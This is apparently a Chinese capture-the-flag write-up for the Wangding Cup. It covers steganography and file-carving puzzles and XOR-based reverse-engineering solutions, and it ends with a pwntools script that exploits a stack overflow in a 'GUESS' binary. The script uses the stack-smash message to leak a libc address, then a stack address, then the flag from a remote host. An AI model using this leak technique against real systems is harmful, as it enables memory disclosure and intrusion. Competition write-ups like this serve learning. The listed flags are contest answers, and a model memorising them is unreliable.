作者:china H.L.B战队 未经同意,不得转载
一、 Misc

  1. 题目:签到


解答:
(1) 提示让关注公众号,关注后在公众号里边输入“青龙之站”之后如下图所示;


(2) 回复1f5f2e进入下一关,如下图所示;


(3) 回复4c361b进入下一关,如下图所示;


(4) 回复7642a4进入下一关,如下图所示;


(5) 回复aac333得flag,如下图所示;


(6) Flag:*flag{hello_wangdingbei}

  1. 题目:clip


解答:
(1) 下载题目是.disk文件,第一反应是linux虚拟磁盘,如下图所示;


(2) (题目提示词频是损坏的,那么linux挂载肯定没用)使用winHex打开文件,如下图所示;

(3) 在winhex中的第196280行发现了png的文件头,如图下所示;

备注:png 16进制文件头以89504E47开头的
(4) 进行手动查找发现了俩个IHDR的png图片字样另存在如下图所示;
① 第一张图片:


备注:需要填充png尾
② 第二张图片:


备注:需要填充png头和尾
③ 使用PS对俩张图片进行拼接,如下图所示;


(5) Flag:flag{0b008070-eb72-4b99-abed-092075d72a40}

  1. 题目:minified

解答:
(1) Stegsolve打开图片,如下图所示;

(2) 打开Stegsolve选择Data Extract查看图片通道,如下图所示;

(3) 选择0通告发现是LSB隐写,如下图所示;

(4) 分别把alpha,green和blue的0通道另存为再进行异或处理,最终在alpha和green的中发现flag如下图所示;

(5) Flag:flag{7bb6db9f-d2eb-4e69-8dee-0002ce1e07f9}
二、 Reverse

  1. 题目:beijing

解答:
(1) 题目给了我们一个Linux下的可执行程序,放在虚拟机下运行结果如下图所示:

(2) 拖到IDA里面尝试分析下程序的逻辑,经过分析程序主要处理两个函数,主要逻辑如下:(由于长度关系只截取了部分)
① main函数21次调用了encode函数,然后将返回的结果按照字符打印出来如下图所示;

② encode函数按照参数a1的数值做对应的亦或运算,并返回char类型的结果如下图所示:

(3) 查看亦或部分对应的数据段数据和对应的hex数据如下图所示;
数据段数据:

数据段数据hex数据:

这里可以看到这段数据大部分都是可见的字符,因此可以假设flag就在这段数据中,但是顺序是被打乱的,而正确的顺序就是main函数中的顺序,即

encode :
    return flag[i]^xor[i]
   main :
    list[]   <-  记录着正确的flag打印顺序
    print encode(list[i])

(4) 按照上面的理论,可得到如下的分组:

flag = ['a','g','i','n','b','e','f','j','m','l','{','z','}','_']
   xor = ['L','Y','B','','q','4','','','','','','']    #不可见字符没有打印出来
   list = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc]

(5) 最后运算脚本:

result = ''
   for i in range(0,21):
    result += flag[list[i]] 
   print result

(6) Flag:flag{amazing_beijing}

  1. 题目:advanced

解答:
(1) 把题目放入linux kali中试运行一下,如下图所示;

(2) 把得到的数值进行ASCII转换,如下图所示;

(3) 解密得到内容使用脚本运行得到flag,如下图所示;

(4) Flag:flag{d_with_a_template_phew}
(5) 脚本如下:

tup = 'K@LKVHr[DXEsLsYI@\tmpMYIr\EIZQ'
flag = ""
for i in range(len(tup)):
    if i % 2 == 0:
        flag += chr(ord(tup[i])^0x2D)
    else:
        flag += chr(ord(tup[i])^0x2C)
print flag

三、 PWN

  1. 题目:GUESS

解答:
(1) 这题就是简单的stack smash加强版。所以把flag读到栈上面了,所以要leak三次
(2) 第一次leak出puts的地址,减去偏移,得到libc基址
(3) 第二次用environ leak出栈地址
(4) 第三次leak出flag
(5) 因此得flag:
flag{936dd5d1-457a-413d-ae5d-bbd55136e524}
(6) 脚本如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level='debug'
libc = ELF('./libc-2.23.so')

p = remote('106.75.90.160', 9999)

payload = 'a'* 296 + p64(0x602020)*3
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['_environ']
payload = 'a'*296 + p64(environ_addr)*3
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
p.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)*3
p.sendline(payload)

p.interactive()

交流QQ群:https://jq.qq.com/?_wv=1027&k=5qc1quC

China H.L.B 网鼎杯部分WriteUp.pdf (1.069 MB) 下载附件
源链接

Hacking more

...